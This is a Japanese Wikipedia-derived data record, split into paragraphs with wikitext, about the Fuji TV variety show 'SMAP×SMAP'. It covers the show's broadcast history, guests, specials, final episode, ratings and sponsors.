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"text": "1997年12月31日から1998年1月1日まで、19:00 - 20:00と23:45 - 翌0:45の2部構成で番組初の年越しスペシャルが生放送された。なお、番組が大晦日に放送されたのも初である。この日は『第48回NHK紅白歌合戦』(NHK)の白組司会を中居が務めたり、SMAPも出場していることもあり、裏被りを避けるために同番組の放送時間である20:00 - 23:45は他番組を放送。2部の放送開始時は中居以外の4人が登場し、中居は番組中にNHKから移動しながら、番組終盤のライブでギリギリ間に合って出演する形となった。",
"title": "番組の歴史"
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"text": "2000年12月25日には、21:00 - 23:18に『SMAP×SMAP 20世紀のスマスマ初回からドーンと見せます ベスト30スペシャル』と題して、番組初のクリスマスにスペシャルが放送された。",
"title": "番組の歴史"
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"text": "2002年1月14日生放送分では、不祥事で謹慎していた稲垣吾郎が番組に復帰。視聴率は34.2%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)を記録し、番組の歴代平均視聴率で最高の回となっている。",
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"text": "2002年9月9日放送分の1コーナー「今日は何の日?」やエンディングトークにおいて、メンバーが「『スマスマ』のオンエアー日とデビューの日が重なるのは初めて」と発言しているが、実際には開始間もない1996年9月9日にも番組が放送されている。",
"title": "番組の歴史"
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"text": "2005年12月26日と2010年1月4日には、19:00 - 23:24に、当時の過去最長となる264分(4時間24分)の拡大版が、それぞれ年末スペシャルと新春スペシャルで放送された。2005年12月26日には『SMAP×SMAP'05 歴史的瞬間全部見せます!! 史上最強の4時間半スペシャル!!!』と題して、当番組ではこれまで放送される事がなかった19時台・20時台に初めて放送され、さらに、2010年1月4日には『SMAP×SMAP お正月に生SMAP! 史上最長4時間半スペシャル』と題して、当番組史上初となる264分に渡る生放送を行った。また、香取慎吾はインフルエンザのため欠席した が、エンディングに電話で生出演した。なお264分という放送時間は、後述する最終回に抜かれるまで歴代最長だった。",
"title": "番組の歴史"
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"text": "2007年1月1日には、21:00 - 23:30に『SMAP×SMAP 超豪華! 元旦スペシャル!!』と題して、番組初の元日放送となり、21時からのスペシャル版で放送した。なお、元日に放送があったのはこの年のみである。",
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"paragraph_id": 19,
"tag": "p",
"text": "収録はそれまで世田谷区砧にある東京メディアシティ・レモンスタジオで行われていたが、2007年のフジテレビ湾岸スタジオ落成を機に、同スタジオ並びにフジテレビ本社スタジオ(FCGビル)へ移行した。",
"title": "番組の歴史"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "2008年4月14日・4月21日は、2週連続で2時間の拡大版(21:00 - 22:48)が放送された。これは、木村拓哉主演のドラマ『CHANGE』が同年5月12日に放送開始であったことに伴うものである。また、番組の再放送は行われていなかったが、2010年4月17日にフジテレビと関西テレビで、スペシャルの事前番組として一部の回が再放送された。",
"title": "番組の歴史"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "2011年3月11日の東日本大震災の発生以降の放送では、毎回エンディングでメンバーによる義援金や支援金の呼びかけを最終回まで行った。このメッセージは同じ映像の使い回しではなく、番組収録の度に新規に収録している。また、2016年4月14日の熊本地震の発生後、5月30日までの放送では「フジネットワーク サザエさん募金」、6月6日以降は「熊本地震災害義援金」の呼びかけも合わせて行われている。",
"title": "番組の歴史"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "2013年9月30日には、当番組と『おじゃマップ』をベースとしたSMAPが司会の特別番組『SMAP GO!GO!』が放送された。",
"title": "番組の歴史"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "2014年7月26日・7月27日には、SMAPが総合司会を務める『武器はテレビ。 SMAP×FNS 27時間テレビ』が放送された。",
"title": "番組の歴史"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "2015年4月6日より、SMAPのジャニーズ事務所の後輩であるKis-My-Ft2がメイン出演のバラエティ番組『キスマイBUSAIKU!?』が、毎週月曜23:00 - 23:30(COOL TV枠)へ移動。これにより、当番組から直後に放送される『キスマイBUSAIKU!?』まで、ジャニーズ事務所所属グループの冠番組が連続で放送されることになった。",
"title": "番組の歴史"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "2016年1月に起きた「SMAP解散騒動」以降、一部週刊誌や『東京スポーツ』などのスポーツ紙などで打ち切り説が度々掲載されていたが、関西テレビの福井澄郎社長や、フジテレビ及び同局亀山千広社長はそれぞれ打ち切りを公式に否定した。",
"title": "番組の歴史"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "同年1月18日の放送では、放送予定の内容の一部を急遽生放送に差し替え、メンバー全員が今回の騒動について謝罪した上で、グループの存続を発表した。なおこの日放送分の視聴率は、フジテレビでは31.2%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)、関西テレビでは29.7%(ビデオリサーチ、関西地区・世帯・リアルタイム)をそれぞれ記録した。",
"title": "番組の歴史"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "この番組は音楽番組以外でメンバー全員が揃って出演する数少ない場であったが、この騒動以降BISTRO SMAPを例外として全員が出演するコーナーが消滅、過去の映像を使用した特別編が増えて通常放送が大幅に減少した上、コーナーの観覧も廃止され収録後のVTRに音声をかぶせるようになる。また、それ以前は改編期や年末年始、お盆やGW等含めても番組が休止されることはほとんどなかったが、この騒動以降は、改編期ではない時期であっても月に数回放送が休止されることが多くなった。",
"title": "番組の歴史"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "同年8月14日、レギュラー出演するSMAPが同年12月31日をもって解散することが事務所より発表された。これを受けフジテレビは、当番組も2016年12月末をもって放送を終了することを同年8月17日に正式に発表した。",
"title": "番組の歴史"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "また、SMAPの解散発表後と当番組の年内の放送終了の発表後には、SMAPのファンを中心に番組ホームページに「どんな形でもいいから番組を続けてほしい」などといった、当番組の存続を望むコメントが多数寄せられた。",
"title": "番組の歴史"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "解散発表後最初の放送となった同年8月15日の放送の番組冒頭には全画面白バックに黒文字で「昨日、SMAPの活動についての発表がなされましたが、『SMAP×SMAP』の今後の対応につきましては近日中に視聴者の皆様に報告させていただきたいと思います。本日は予定通りの放送内容をお送り致します。」のテロップが25秒間にわたって表示された。そして、フジテレビ・関西テレビは17日、同番組について連名でマスコミ各社にFAXを送り、「解散に関する発表を受け、継続不可能と判断」として年内での終了を正式決定したと発表した。",
"title": "番組の歴史"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "翌週8月22日の放送では、番組のオープニングで第1回放送の「BISTRO SMAP」のVTRでスタートし、「世界に一つだけの花」を流しながら過去の名場面が流れ、「1996年にスタートしたSMAP×SMAPは放送20年を越えることが出来ました。そして、今年の年末をもってファイナルを迎えることになります。最終回まで全力で番組を作ってまいりますので応援よろしくお願いいたします。」というメッセージがテロップで表示された。",
"title": "番組の歴史"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "同年12月19日の放送では、22:00 - 23:24に1時間半の拡大版で、当番組のメインコーナー「BISTRO SMAP」の最終回(最後のゲストはSMAPと親交が深いタモリだった)が放送された。",
"title": "番組の歴史"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "同年12月26日の放送では、18:30 - 23:18に5時間の拡大版で、『SMAP×SMAP 最終回』と題して、番組の最終回が放送された。",
"title": "番組の歴史"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "※メンバーカラーは「BISTRO SMAP」やテロップなどで用いられている。※5人が揃って出演するコーナーは、原則中居の司会で進行する。",
"title": "出演者"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "第1回放送のゲストは「BISTRO SMAP」に出演した当時のベテラン女優・大原麗子(2009年逝去)。1996年4月から2016年12月までの20年9ヶ月の放送期間で当番組には、看板コーナー「BISTRO SMAP」や音楽コーナー「S-Live」を中心に、大物芸能人から若手・新人芸能人まで、国内から海外まで、幅広いジャンルの錚々たる芸能人や有名人が多数ゲスト出演している(下記参照)。",
"title": "出演者"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "また、音楽コーナー「S-Live」でSMAPが新曲を披露する際、楽曲提供の新曲の作詞者・作曲者がゲスト出演してコラボレーションで披露することが多く、国内のミュージシャンも多数ゲスト出演している。「世界に一つだけの花」「Love & Peace Inside?」は槇原敬之、「セロリ」は山崎まさよし、「夜空ノムコウ」はスガシカオ、「Trust」「グラマラス」は小室哲哉、「Top Of The World」「Otherside」はMIYAVI、「愛が止まるまでは」は川谷絵音(indigo la End/ゲスの極み乙女。)などとコラボレーションして披露している。SMAPが自身の楽曲以外に、ゲスト側のアーティストの楽曲でもコラボレーションで披露している。また、コラボはしていないが「Amazing Discovery」を楽曲提供した中田ヤスタカ(capsule)や「華麗なる逆襲」を楽曲提供した椎名林檎もゲスト出演している。2001年7月16日に出演した長渕剛は「BISTRO SMAP」「S-Live」の両コーナーに共にゲストで出演した。演歌歌手では北島三郎が1996年12月30日・2002年12月30日・2014年4月7日、森進一が2001年7月30日に出演した。他に、くまモンなどのゆるキャラ、HIKAKINなどのYouTuberといった多岐のジャンルにわたる有名人がゲスト出演している。また、どぶろっくやクマムシといった音楽活動をしているお笑いタレントもゲスト出演して「S-Live」でコラボレーションしている。さらに、芸能人に留まらず、政治家も多数ゲスト出演しており、石破茂や内閣総理大臣に就任前の小泉純一郎、安倍晋三、麻生太郎、ロシアの元大統領のミハイル・ゴルバチョフ、東京都知事の小池百合子がゲスト出演した。石破茂は『SMAP×SMAP』最終回に際し、フジテレビ『バイキング』コメンテーターとして出演時にコメントを寄せている。また、テレビ局の垣根を超えて、テレビ朝日のアニメ『ドラえもん』のキャラクターもゲスト出演している。",
"title": "出演者"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "年に1回放送される。1年間のNGや未公開映像を放送して、「スマスマを愛しているメンバー」「スマスマを愛していないメンバー」を決める。大体「スマスマを愛していないメンバー」に決められたメンバーは、スマスマの生放送(特番)の告知を『めざましテレビ』などでやらされる(2005年度からは中居を含めたメンバー全員が罰ゲームを考え、「BEST LOVE AWARD」に選ばれたメンバーの考えた罰ゲームを「WORST LOVE AWARD」に選ばれたメンバーが実行するといった態勢をとっている)上記の方法によって生まれたコントが、中居正広が主演・香取慎吾が監督のテロテアリーナである。2001年、2006年、2009年以降は放送されていない。",
"title": "LOVE AWARD"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "1998年8月3日から、不定期で生放送スペシャル内で実施。",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "番組冒頭で罰ゲームが発表されてから、数個のゲーム(「BISTRO SMAP」含む)を行い、合計得点の下位2名(ペケ1・ペケ2)が、後日に罰ゲームのロケへ行く羽目に(同点の場合は、クラッカー等によるくじ引きで罰ゲーム対象者を決定)。",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "罰ゲームは、富士山登山に始まり、フルマラソン、トライアスロン、アメリカのTV局で前説等多種多様。",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "2001年8月13日放送の「夏祭りグランプリ」では、中居・稲垣が罰ゲーム(コンサート終了後にスタッフに手作りおにぎりを)となったものの、直後の稲垣謹慎によって罰ゲームとしては行われず、感謝の意を込めて全員でおにぎりを作るという形で決着。",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "2003年1月13日放送の「S-1 GRAND PRIX」では、「BISTRO SMAP」に時間を取りすぎて進行がグダグダになり、ペケ2が2人になりクラッカーで決着するがスタッフが渡したクラッカーが二つとも鳴らないクラッカーを用意してしまったことなどトラブルが多々あり視聴者から抗議が殺到。翌週(1月20日)は急遽、放送予定だったレギュラー放送を後回しにし、時間の都合で行えなかったコーナーをやって完全決着を着ける延長戦(生放送)を実施した。(この放送分による事前予告は同年1月18日放送の『スマ夫』や当日放送の『めざましテレビ』、また番宣スポットでも告知された。)",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "2005年以前はペケ2が2人以上いた場合は「クラッカー(鳴ったものを引いたメンバーが罰ゲーム決定)」となっていたが、2008年の回ではペケ2が2人以上いた場合は「クラッカー」から「○と×の札決め(×なら罰ゲーム決定)」で決定する形となった。しかし2人のスケジュールの関係上、実施したのは放送から1年半以上であった。",
"title": "S-1 GRAND PRIX"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "通常の「BISTRO SMAP」・「S-Live」・コントコーナーまたはゲームコーナーの3つを一切やらず、ドキュメンタリーや通常回では滅多にやらないSMAPだけによる特別企画・スペシャルゲスト出演の特別企画など、全く違った内容の構成で放送される。出演者は基本的にSMAPの中の一人だけで、様々なゲストを呼ぶ場合もある。かつては年4回程度放送されていたが、近年は減少傾向にあり(当初は、生放送の次の週は特別編というのが通例であった。しかしその生放送も減少傾向である)、2002年以降年1回 - 2回程度になっていたが、2016年はSMAP解散騒動の影響か、「SMAP×SMAP PRESENTS」と題した一人だけで出演する特別企画が増えた。また、近々上映される映画の宣伝を兼ねた企画を行う事もある。",
"title": "特別編"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "なお、当初は関西テレビの単独制作であった(フジテレビは特別編の制作に関与しなかった)。しかし近年は通常版同様、関西テレビとフジテレビの共同制作となることが多い。",
"title": "特別編"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "※両A面シングル(42・44・49)については、それぞれ1曲目のみの披露。",
"title": "特別編"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "年末年始時期や報道特別番組が急遽行われた場合(2008年9月1日に福田康夫が当時の内閣総理大臣辞任に伴う報道特番による放送時間繰り下げ、2011年3月14日に東日本大震災に伴う報道特番による放送休止)を除いて特別編を含め番組が休止になることはほとんどなく、春・秋の番組改編期の場合では『ロングバケーション』・『ラブジェネレーション』などの木村が主演し高視聴率を得た月9ドラマの特別編で休止になったことがあった程度で、関西テレビ発信による月曜日放送の特別番組としては、1999年3月29日に放送された武田鉄矢がメインを務めた『芸能人が営む世話好き宿』と題したスペシャル番組を最後に放送されてこなかった。しかし、2014年8月4日には実に184ヶ月ぶりとなる関西テレビ自社制作による特番『世界一周ワンジャンル・ツアー』が放送された。なお、これは27時間テレビによる措置である。なお、翌週の11日放送の『ファミスマ』(中居出演)と2015年3月23日放送の『中居正広のISORO』(中居・稲垣出演)はフジテレビの単独制作だった(スポンサーセールスは関西テレビが担当)。しかし、2016年にSMAP解散騒動が発生してからは「SMAP×SMAP PRESENTS」と題した企画で個人のみでの出演や、2015年にスタートしたトークバラエティ番組『中居正広のこうして私はやっちゃいました! 神センス☆塩センス!』、前年まで水曜日に放送されていた『FNSうたの夏まつり』や同年に新たに設けた『FNSうたの春まつり』等の特別番組が放送される事が増え、年末年始時期や報道特別番組等がなくても月に数回休止される事も多くなった。",
"title": "休止時に行う特別番組"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "なお『笑っていいとも!秋の祭典スペシャル』が土曜日に放送された2006年秋のこの時期は、『ドラマレジェンドスペシャル』として『古畑任三郎 vs SMAP』と題した、タイトル通りSMAPが出演しているスペシャルドラマの再放送(本放送は1999年1月3日)が行われ、その後も2008年に『ドラマレジェンド』として『世にも奇妙な物語 SMAPの特別編』の再放送(本放送は2001年1月1日)が行われた。",
"title": "休止時に行う特別番組"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "2016年12月26日の18:30 - 23:18に番組史上最長となる288分の拡大版として放送され、20年9か月(249か月)・全920回の歴史に幕が下ろされた。",
"title": "最終回"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "最終回の内容は、初回放送から現在に至るまでの番組の歴史を総集編として一挙放送し、SMAPのグループ活動28年間の歴史も紹介された。総集編では、「SMAP×SMAP MEMORIES FILE Final」と題して、主に1996年から2016年の各年度毎に「BISTRO SMAP」や「S-Live」を中心に各ゲストの出演シーンやコント・ゲームコーナーなどを各年のSMAPの曲をBGMにダイジェストで振り返った。基本はダイジェストだが、下記の10個の特別編は長めに放送された。",
"title": "最終回"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "また、この最終回SPでメンバー5人の生出演はなかった ものの、一部で西山喜久恵(フジテレビアナウンサー)の進行による生放送パートがあり、視聴者からのFAXを募集、番組内で随時紹介した。",
"title": "最終回"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "メンバーからのラストメッセージは直接口頭では無かったが、22:50頃のCM明けに 『スマスマ20年、そしてグループ活動28年、みなさまの気持ちに、深く感謝いたします。ありがとうございました。SMAP』と画面にメッセージが表示された。メッセージが表示された直後から「SMAP 28年の奇跡」と題して、グループ結成から今に至るまでのSMAPの28年間の歴史が、「Triangle」「BEST FRIEND」のオルゴールバージョンに乗せてスライドショーされた。",
"title": "最終回"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "番組終盤では、「SMAP 28年の奇跡」のラスト・『FNS27時間テレビ』での集合写真が映された後、色鮮やかな花が敷き詰められた立体番組ロゴをバックに、唯一の新たに収録した場面である5人揃っての「SMAPラストステージ」となった「世界に一つだけの花」の歌唱が放送された。歌唱が終わるとメンバー全員で約90秒間深々とお辞儀をし、「世界に一つだけの花」のオルゴールバージョンと共に白い幕が下され、幕が閉まると番組のロゴとメンバーカラーである五色の花が飾られたマグカップが映された。そのあとスタッフからの鳴り止まぬ拍手とお辞儀をした後のメンバーの姿が映し出され、そのままスタッフロールへと移った。",
"title": "最終回"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "エンディングのスタッフロールではデビュー曲「Can't Stop!! -LOVING-」をBGMに、メンバーがスタッフ1人ずつと記念撮影をしている映像が放映された。その後、生放送パートのスタジオ内に貼られた視聴者からのFAXをバックに画面下部に「たくさんの「ありがとう」をありがとうございました。」というテロップを表示した。そして、通常通り東日本大震災・熊本地震災害義援金の告知を放送した後、最後は番組開始当初のオープニングタイトルCGを放送して番組は終了し、約20年9か月の放送の歴史に終止符を打った。",
"title": "最終回"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "なおクロスネット局の関係上同時ネットされなかった局のうち、テレビ大分では翌日未明1:00 - 早朝5:48(当日深夜)に時差ネット(330分遅れ)で放送された。テレビ宮崎では、SMAPの解散日である31日の12:00 - 16:50に放送された。さらに番組末期まで系列外遅れネットしていた日本テレビ系列局青森放送でも31日未明・早朝0:59 - 5:47(30日深夜)に放送された。",
"title": "最終回"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "番組の放送中や放送後には、SMAPと縁が深い芸能人や番組にゲスト出演したことがある芸能人などがTwitterやブログなどでSMAPの解散と番組の終了を惜しむ声が挙がっており、芸能界からの悲痛の声も多かった。",
"title": "最終回"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "番組後半には、かつてSMAPがCMに出演していたソフトバンクによる1分間のスペシャルCMが放映された。内容は、「オリジナル スマイル」をBGMに、過去にSMAPが出演していたCM映像の本編やメイキング映像をダイジェスト形式にて編集し、途中には「あんなことや」「こんなこと」「いろいろしていただきました」「今まで」「本当に」「ありがとう。」とメッセージが挿入され、最後にソフトバンクのCMキャラクターであるお父さん(白戸次郎)(カイくん、声・北大路欣也)がしんみりとした表情で「さよならじゃ、ないよな?」と語りかけてCMを締めた(その際、SMAPが出演した際のキャッチコピーである『SMAP→Softbank』のSMAPとSoftbankを逆転させた『Softbank→SMAP』のテロップも表示された)。同社の広報室によると、契約は昨年で終了していることから、今回は所属事務所、テレビ局と一日限定の契約を結び、放送が実現した。このため今後、今回のCMが再放送ならびに公式サイト等での公開はされることはないという。",
"title": "最終回"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "なお、終了から7年後の2023年にはお父さんの言葉通り、中居が同社のCMに復帰(「チチンペイペイ」シリーズ、劇団ひとりとの共演)。このCMではお父さんが「待ってました!」と特別CMを思わせる台詞を発している。",
"title": "最終回"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "第1部(18:30 - 19:00)は14.1%、第2部(19:00 - 22:00)は17.4%、第3部(22:00 - 23:18)は23.1%で有終の美を飾った(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)。また、瞬間最高視聴率は23:07のSMAPがメンバー5人でラストの歌唱となった「世界に一つだけの花」を歌い終えて、5人がお辞儀をし中居が背を向けて両手で何度も涙を拭う姿が映し出されたシーンの27.4%(ビデオリサーチ調べ、関東地区・世帯・リアルタイム)だった。ちなみに地方でも軒並み高視聴率を記録し、関西地区で第1部が16.9%、第2部が20.6%、第3部は24.1%を記録し、瞬間最高視聴率は関東と同じ時間に27.5%を記録している。",
"title": "最終回"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "当番組最終回放送後の2017年1月7日に放送された『めちゃイケてるッ! 勝ち負けだけじゃねえ 新春大仰天スペシャル』に中居が出演し、同番組ゲストのゆずとのトークの際、めちゃイケメンバーの矢部浩之(ナインティナイン)から「スマスマの最終回とか、感動的やったもん」と労われると、中居は「あの日、今まで一番繊細に何回も(音程を)当てにいったんだけど、ひとつも当たんなかった」と冗談交じりに語った。なお『めちゃイケSP』の収録は最終回放送からわずか2日後の12月28日に行われた。",
"title": "最終回"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "2020年9月19日、番組のコントレギュラーであった俳優の斎藤洋介が死去。香取・草彅・稲垣から追悼のコメントが寄せられた。",
"title": "最終回"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "視聴率は断りのない限り、ビデオリサーチ調べ、関東地区・世帯・リアルタイム。",
"title": "視聴率"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "初回(1996年4月15日)から最終回(2016年12月26日)までの全920回において、歴代トップは34.2%(2002年1月14日)、歴代ワーストは6.4%(2016年11月14日)、全回の平均視聴率は18.2%となった。",
"title": "視聴率"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "以下、歴代視聴率TOP20を記載。放送開始以来、1990年代・2000年代・2010年代のそれぞれの各年代で、高視聴率を獲得している。放送日の太字はその年のフジテレビの最高視聴率。",
"title": "視聴率"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "番組の全盛期は1996年 - 2001年頃であり、同時間帯でトップになることはもちろんのこと、25%以上の高視聴率を記録することも珍しくなかった。年間平均視聴率は23%に達し、一種の社会現象と化していた。",
"title": "視聴率"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "当時の裏番組であった読売テレビ制作の連続ドラマは本番組開始後視聴率が一桁を記録する作品が増え、中には放送回数を短縮して打ち切りに追い込まれた作品も存在する。当時のドラマスタッフも「何をやってもスマスマにはかなわないと制作陣も半ばあきらめていた」と証言するなど、番組の影響力の大きさをうかがえる。その後、ドラマ枠は2004年3月に廃止となった。",
"title": "視聴率"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "一方、2008年以降は『しゃべくり007』(日本テレビ制作)と競合するようになり、2010年代以降は視聴率で『しゃべくり』に逆転され、解散騒動後は一桁に転落する回が多くなった。",
"title": "視聴率"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "前述の通り、当番組は関西テレビとフジテレビの共同制作だが、スポンサーに対する営業は関西テレビが全面的に担当する。関西テレビでは立ち上げにあたり、当番組以前の水曜→月曜→火曜22時台バラエティ枠(『三枝の愛ラブクリニック→三枝の愛ラブ!爆笑クリニック』→『ひらけ!GOMA王国』)における営業スタンスを原則引き継いだため、前後半でスポンサーが交代する形を取っている。",
"title": "スポンサーとCM営業の歴史"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "放送開始から2010年3月までは、前半がロート製薬の一社提供、後半はP&G筆頭の複数社提供というスタイルだった。これは、ロートが加盟している日本製薬工業協会の自主規制により、医家向け医薬品・大衆薬メーカーの一社提供が30分枠までとされていたためである。同年4月でロート製薬が同時間帯の筆頭スポンサーを降板し、同社を含む複数社提供となったが、前後半ですべて途中で交代するというスタイルは放送開始以来変わっていない。2016年9月をもってロート製薬がスポンサーを降板。なお、スポンサー枠は、2016年10月から始まった火9ドラマのカウキャッチャーに移行した。",
"title": "スポンサーとCM営業の歴史"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "スポンサークレジットの表示は関西テレビが担当し、提供読みについては通常は関西テレビ側が「ご覧のスポンサーの提供でお送りします(しました)」、フジテレビ側は「この番組は(P&Gと)ご覧のスポンサーの提供でお送りします(しました)」である。ただし、2007年と2010年の正月スペシャルや、2016年12月26日放送の最終回スペシャルのように番組配信・スポンサークレジットの表示・提供読みもフジテレビが担当するという例外もある。",
"title": "スポンサーとCM営業の歴史"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "なお、前半がロート一社提供だった時代には、番組の冒頭で同社のオープニングキャッチも放送されていた。ただし福井テレビでは最初の半年間は遅れネットでかつローカルセールスだったため、また福島テレビは立ち上げから同時ネットだったが最初の1年間のみ番販ネット扱いで放送され、共にロートのオープニングキャッチを流さなかったことがある。この時、福島テレビ放送分のスポンサーに就いたのは郡山市に本社を置く冠婚葬祭業はまつグループで、はまつアワーのサブタイトルがあった。送り出しも事前に関西テレビ・フジテレビから番組素材を受け取り自社で行い、他局でロート製薬から他社にスポンサーが切り替わる部分の提供ベースに、はまつグループのロゴを表示していた。これら2局でロート製薬のオープニングキャッチをどう差し替えていたかは不明。",
"title": "スポンサーとCM営業の歴史"
}
]
| 『SMAP×SMAP』は、関西テレビ(カンテレ)とフジテレビの共同制作で、1996年(平成8年)4月15日から2016年(平成28年)12月26日までの20年と9か月にわたってフジテレビ系列で毎週月曜22:00 - 22:54(JST)に放送されていたバラエティ番組である。男性アイドルグループ・SMAPの冠番組であった。 | {{基礎情報 テレビ番組
| 番組名 = SMAP×SMAP
| ジャンル = [[バラエティ番組]]
| 放送時間 = [[月曜日|月曜]] 22:00 - 22:54
| 放送分 = 54
| 放送期間 = [[1996年]][[4月15日]] - [[2016年]][[12月26日]]<ref name="mainichi">{{Cite news |title= フジテレビ「スマスマ」年内終了「継続不可能」248カ月の歴史に幕
|newspaper= 毎日新聞|date= 2016-08-18|author= 毎日新聞社|url= http://mainichi.jp/articles/20160818/spn/00m/200/007000c|accessdate=2016-08-20}}{{リンク切れ|date=2021年4月}}</ref><ref name="oricon2" />
| 放送回数 = 920
| 放送国 = {{JPN}}
| 制作 = [[関西テレビ放送]]<br />[[フジテレビジョン]]
| 企画 =
| 演出 = [[出口敬生]]<small>(フジテレビ)</small><br />小倉伸一<small>([[オイコーポレーション]])</small>
| チーフ・プロデューサー = [[黒木彰一]]<small>(フジテレビ)</small>
| プロデューサー = [[春名剛生]]<small>(フジテレビ)</small><br />乾充貴<small>(関西テレビ)</small>
| 出演者 = [[SMAP]]<br />([[中居正広]]・[[木村拓哉]]・[[稲垣吾郎]]・[[森且行]]・[[草彅剛]]・[[香取慎吾]])<br /><small>ほか([[#出演者|出演者]]を参照)</small>
| ナレーター = [[増田晋 (ナレーター)|増田晋]]
| 音声 = [[ステレオ放送]]
| 字幕 = [[文字多重放送]]([[2002年]][[4月22日]] - [[2016年]][[12月26日]])<ref>[https://web.archive.org/web/20020401215833/http://www.nikkansports.com/news/flash/f-et-tp0-020327-21.html 「スマスマ」を字幕放送へ][[日刊スポーツ]]、2002年3月27日(インターネットアーカイブ)2012年2月10日閲覧
</ref>
| OPテーマ = 「[[ロート製薬]]テーマソング」([[2010年]]3月まで)<br />SMAP「[[Otherside/愛が止まるまでは|Otherside]]」(番組末期)
| EDテーマ = SMAP「[[not alone 〜幸せになろうよ〜]]」(東日本大震災支援金・熊本地震災害義援金の募集時)
| 外部リンク = https://www.fujitv.co.jp/smapsmap/
| 外部リンク名 = SMAP×SMAP
| 特記事項 = 本項における『KTV』は関西テレビ、『CX』はフジテレビを表す。<br />[[2006年]][[10月16日]]放送分から[[高精細度テレビジョン放送|ハイビジョン制作]]。<br />初回は30分遅れ(22:30 - 23:24)。<br />最終回は5時間スペシャル(18:30 - 23:18)。
}}
{{色}}
『'''SMAP×SMAP'''』(スマップスマップ<ref group="注">『×』は発音しない。</ref>、[[通称]]:'''スマスマ''')は、[[関西テレビ放送|関西テレビ]](カンテレ)と[[フジテレビジョン|フジテレビ]]の共同制作で、[[1996年]]([[平成]]8年)[[4月15日]]から[[2016年]](平成28年)[[12月26日]]までの20年と9か月にわたって[[フジネットワーク|フジテレビ系列]]で毎週[[月曜日|月曜]]22:00 - 22:54([[日本標準時|JST]])に放送されていた[[バラエティ番組]]<ref name="mainichi" /><ref name="oricon2" />である。男性アイドルグループ・[[SMAP]]の[[冠番組]]であった。
== 概要 ==
番組タイトルの『SMAP×SMAP』は、[[アメリカ合衆国|アメリカ]][[映画]]『[[ニューヨーク・ニューヨーク]]』から由来し、[[ジャニーズ事務所]]社長の[[ジャニー喜多川]]が同映画から命名した{{refnest|group="注"|[[2016年]][[12月19日]]放送回の「[[BISTRO SMAP]]」にて中居がそのことを明かしている。ちなみに同日ゲストの[[タモリ]]は「『SMAP×SMAP』ていうタイトルおかしくないか?…誰がつけたか知らないが、すごい厚かましい」と、タイトルの付け方に不満があったことを語っていた<ref>{{Cite news|url=https://www.oricon.co.jp/news/2083261/full/|title=タモリ『スマスマ』番組タイトルに“不満” 「ビストロ」最終回にゲスト出演|publisher=オリコン|date=2016-12-19|accessdate=2016-12-20}}</ref>。}}。
当番組は[[1996年]][[3月25日]]まで[[テレビ東京]]系列で放送されていた『[[愛ラブSMAP!]]』の事実上の後継番組である<ref group="注">『愛ラブSMAP!』の番組内で、当番組が後継番組としてスタートする旨がアナウンスされている。ただし、放送局や曜日・時間帯などが異なるため、現在では『愛ラブSMAP!』の後継番組であるという概念自体が無い。</ref>。番組前半は料理コーナー「[[BISTRO SMAP]]」、番組後半はコントや音楽コーナー「S-Live」などから構成されていた。
